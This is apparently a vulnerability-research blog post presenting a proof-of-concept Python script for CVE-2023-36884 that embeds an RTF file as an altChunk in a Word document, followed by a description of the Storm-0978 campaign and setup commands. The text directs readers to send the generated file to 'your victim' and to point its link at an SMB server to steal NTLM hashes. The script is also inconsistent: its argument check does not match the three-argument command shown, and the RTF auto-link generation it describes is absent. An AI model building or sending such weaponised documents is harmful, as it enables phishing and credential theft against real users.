MS Office and Windows HTML RCE (CVE-2023–36884) — PoC and exploit

vsociety
3 min readApr 26, 2024

--

by@jakaba

Screenshots from the blog posts

Summary

Here a PoC is provided for CVE-2023–36884 to generate a DOCX with an RTF file added as altChunk with OLE auto-link.

General: gen_docx_with_rtf_altchunk.py

  1. import sys
  2. import os
  3. from docx import Document
  4. from docx.oxml import OxmlElement
  5. from docx.oxml.ns import qn
  6. from docx.opc.part import Part
  7. from docx.opc.constants import RELATIONSHIP_TYPE as RT
  8. # Add an RTF file as an altChunk to a DOCX document
  9. def add_rtf_as_alt_chunk_to_doc(doc, rtf_path):
  10. try:
  11. package = doc.part.package
  12. partname = package.next_partname(‘/word/altChunk%d.rtf’)
  13. # Read the RTF content from the file
  14. with open(rtf_path, ‘rb’) as rtf_file:
  15. rtf_content = rtf_file.read()
  16. alt_part = Part(partname, ‘application/rtf’, rtf_content, package)
  17. r_id = doc.part.relate_to(alt_part, RT.A_F_CHUNK)
  18. alt_chunk = OxmlElement(‘w:altChunk’)
  19. alt_chunk.set(qn(‘r:id’), r_id)
  20. doc.element.body.sectPr.addprevious(alt_chunk)
  21. print(“[+] RTF file added as altChunk.”)
  22. # Save the modified document
  23. doc.save(docx_file_path)
  24. except Exception as e:
  25. print(f”[-] Can not add the RTF file as altChunk to the DOC. Error: {str(e)}”)
  26. sys.exit(1)
  27. # Get or create a DOCX document
  28. def get_doc(docx_file_path):
  29. if not os.path.isfile(docx_file_path):
  30. doc = Document()
  31. doc.save(docx_file_path)
  32. print(f”[+] Created a new DOCX document with name ‘{docx_file_path}’.”)
  33. else:
  34. doc = Document(docx_file_path)
  35. print(f”[+] Using an existing DOCX document with name ‘{docx_file_path}’.”)
  36. return doc
  37. if __name__ == “__main__”:
  38. if len(sys.argv) != 3:
  39. print(“Usage: python merge.py <doc_file> <rtf_file>”)
  40. sys.exit(1)
  41. # Get arguments
  42. docx_file_path = sys.argv[1]
  43. rtf_file_path = sys.argv[2]
  44. # Check if the DOCX file exists, if not, create one
  45. doc = get_doc(docx_file_path)
  46. # Check if the RTF file exists
  47. if not os.path.isfile(rtf_file_path):
  48. print(f”[-] Can’t open RTF file with name ‘{rtf_file_path}’.”)
  49. # Add the RTF file to the DOCX as an altChunk
  50. add_rtf_as_alt_chunk_to_doc(doc, rtf_file_path)
  51. print(f”[+] RTF file ‘{rtf_file_path}’ added as altChunk to ‘{docx_file_path}’.”)

Description

On July 11, 2023, Microsoft released a patch aimed at addressing multiple actively exploited Remote Code Execution (RCE) vulnerabilities. This action also shed light on a phishing campaign orchestrated by a threat actor known as Storm-0978, specifically targeting organizations in Europe and North America. At the heart of this campaign was a zero-day vulnerability, designated as CVE-2023–36884, which allowed the attacker to exploit Windows search files through meticulously crafted Office Open eXtensible Markup Language (OOXML) documents featuring geopolitical lures related to the Ukraine World Congress (UWC). Although a workaround had initially been proposed to mitigate this vulnerability, Microsoft released an Office Defense in Depth update on August 8, 2023, effectively breaking the exploitation chain that had led to RCE via Windows search (*.search-ms) files.

This PoC programmatically creates an RTF document with the Ole2Link method pointing to a specified URL. Then, it adds the RTF to a Word document (doc or docx) just like in the attack.

Repo

A repo is provided for the PoC.

Setup

Install the packages needed to run the script via pip:

pip install python-docx pywin32

Create an example.html file and start a Python HTTP web server:

New-Item -Path "example.html" - ItemType File
python -m http.server 8888

Then, run the script:

python gen_docx_with_rtf_altchunk.py.py merged.docx autolinked.rtf http://localhost:8888/example.html

Now the generated file can be shared with your victim via email or something else. The link can be referred to your SMB server to steal the victim’s NTLM hash or to an HTML file that contains an iframe with a reference to a Windows Search file just as in the original malware. Due to a lack of further information, the exact exploitation can not be shown.

--

--

vsociety
vsociety

Written by vsociety

vsociety is a community centered around vulnerability research

No responses yet